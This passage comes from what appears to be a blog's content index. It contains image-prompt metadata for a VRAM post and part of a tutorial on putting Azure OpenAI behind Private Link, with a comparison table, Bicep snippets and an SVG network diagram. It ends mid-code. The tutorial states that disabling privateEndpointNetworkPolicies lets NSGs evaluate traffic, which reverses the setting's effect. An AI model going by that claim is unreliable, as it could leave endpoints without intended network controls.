aesthetic. The composition leaves negative space at the top for overlays. Clean and professional. No text, letters, words, or UI elements. No faces.\n\n**Prompt 4 (Minimalist Vector / Flat)**\nWide landscape format, 16:9 aspect ratio. A minimalist vector illustration representing computer memory optimization. Abstract geometric shapes like rectangles and circles interact in a clean, grid-like structure. Large blocks of data are shown being compressed into smaller, highly organized, brightly colored energy packets before entering a stylized AI brain symbol. The color scheme uses a dark navy background with vibrant teal, purple, and coral accents. Flat colors with subtle gradients, clean lines. No text, letters, words, or UI elements. No faces.\n--\u003e\n","description":"A deep dive into the hardware requirements for local AI coding, focusing on VRAM, quantization (Q4_K_M), and the 8GB rule for 9B models.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/hardware-vram-guide-local-code-llms/","title":"Hardware \u0026 VRAM Guide for Local Code LLMs"},{"content":"\u003cp\u003eYou open your CI/CD pipeline logs, and there it is: a curl call to \u003ccode\u003eyour-resource.openai.azure.com\u003c/code\u003e — a public FQDN, resolving to a Microsoft-owned IP, carrying your internal service names and proprietary logic over the public internet. TLS encrypts the session body, but the endpoint itself is still exposed. Anyone watching the wire knows you are calling Azure OpenAI and roughly when.\u003c/p\u003e\n\u003cp\u003eThis is not a flaw — it\u0026rsquo;s a default designed for onboarding, not production. Every Azure OpenAI resource ships with a public endpoint. Even if you add IP firewall rules, you are still routing sensitive prompts over public IP space. Private Link removes this public endpoint entirely, giving the AI service a private RFC 1918 address inside your Virtual Network.\u003c/p\u003e\n\u003ch2 id=\"1-how-azure-private-link-works-for-ai-services\"\u003e1. How Azure Private Link Works for AI Services\u003c/h2\u003e\n\u003cp\u003eAzure Private Link creates a Private Endpoint — a virtual network interface (NIC) with a private IP address — for your Azure OpenAI resource.\u003c/p\u003e\n\u003cp\u003eBefore choosing Private Link, it helps to see what the alternatives actually give you:\u003c/p\u003e\n\u003ch3 id=\"private-endpoints-vs-alternatives\"\u003ePrivate Endpoints vs. Alternatives\u003c/h3\u003e\n\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eFeature\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eService Endpoints\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eIP Firewall Rules\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003e\u003cstrong\u003ePrivate Link\u003c/strong\u003e\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eTraffic Path\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eAzure Backbone\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003ePublic Internet\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eVNet Internal\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003ePublic IP\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eExists\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eExists (Restricted)\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eNone\u003c/strong\u003e (Disabled)\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eDNS\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003ePublic Resolution\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003ePublic Resolution\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003ePrivate Resolution\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eOn-Premise\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eNo (VPN/ER fails)\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eYes (via Public IP)\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eYes\u003c/strong\u003e (via Private IP)\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eA Service Endpoint restricts access to a VNet, but the service still has a public IP. Private Link gives it a private address (e.g., \u003ccode\u003e10.0.1.5\u003c/code\u003e) from your own subnet. That IP is the only address the service answers on once you disable public access.\u003c/p\u003e\n\u003ch2 id=\"2-vnet-and-subnet-design\"\u003e2. VNet and Subnet Design\u003c/h2\u003e\n\u003cp\u003eBefore you provision the endpoint, you need to prepare your network. Private Endpoints require a subnet with \u003ccode\u003eprivateEndpointNetworkPolicies\u003c/code\u003e set to \u003ccode\u003eDisabled\u003c/code\u003e. This allows Network Security Groups (NSGs) to evaluate traffic destined for the Private Endpoint.\u003c/p\u003e\n\u003ch3 id=\"subnet-strategy\"\u003eSubnet Strategy\u003c/h3\u003e\n\u003cp\u003eA Private Endpoint can share a subnet with other resources, but a dedicated \u003ccode\u003e/28\u003c/code\u003e subnet (16 IPs) for \u0026ldquo;AI-Private-Links\u0026rdquo; simplifies NSG management and prevents CIDR exhaustion.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// Define a secure subnet for AI Private Endpoints\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e peSubnet \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Microsoft.Network/virtualNetworks/subnets@2023-04-01\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;snet-ai-pe\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  parent: vnet \u003cspan style=\"color:#75715e\"\u003e// \u0026#39;vnet\u0026#39; must be a reference to an existing Microsoft.Network/virtualNetworks resource\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  properties: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    addressPrefix: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;10.0.1.0/28\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    privateEndpointNetworkPolicies: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Disabled\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// Mandatory for Private Link\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIn a hub-and-spoke topology, place the Private Endpoint in the hub\u0026rsquo;s shared-services VNet. This allows all peered spoke VNets to reach the AI service through a single entry point, centralizing DNS and security monitoring.\u003c/p\u003e\n\u003ch3 id=\"hub-and-spoke-networking-topology\"\u003eHub-and-Spoke Networking Topology\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 400 233\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 48,16 L 384,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,80 L 216,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,80 L 384,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,144 L 216,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,144 L 384,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,192 L 80,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,208 L 384,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,16 L 48,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,144 L 48,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,80 L 216,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,128 L 216,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,16 L 384,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,144 L 384,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='164' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='180' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='68' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='164' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='164' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='164' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='164' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='164' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='180' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='116' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='180' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='116' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='164' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='116' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='164' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='164' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='164' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='68' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='116' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='164' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='52' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='68' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='164' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='68' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='196' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='196' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='52' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='116' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='180' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='196' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='116' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='196' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='52' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='116' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='196' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='36' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='52' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='52' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='52' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='52' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='52' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='52' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='52' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='52' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='52' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch2 id=\"3-provisioning-the-private-endpoint\"\u003e3. Provisioning the Private Endpoint\u003c/h2\u003e\n\u003cp\u003eThe most reliable way to deploy Private Link is via Bicep. You must target the \u003ccode\u003eaccount\u003c/code\u003e group ID for Azure Cognitive Services.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e privateEndpoint \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Microsoft.Network/privateEndpoints@2023-04-01\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;pe-openai-prod\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  location: location\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  properties: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    subnet: { id: peSubnet.id }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    privateLinkServiceConnections: [\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;conn-openai\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        properties: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          privateLinkServiceId: openAiResourceId \u003cspan style=\"color:#75715e\"\u003e// Full ARM resource ID\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          groupIds: [\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;account\u0026#39;\u003c/span\u003e] 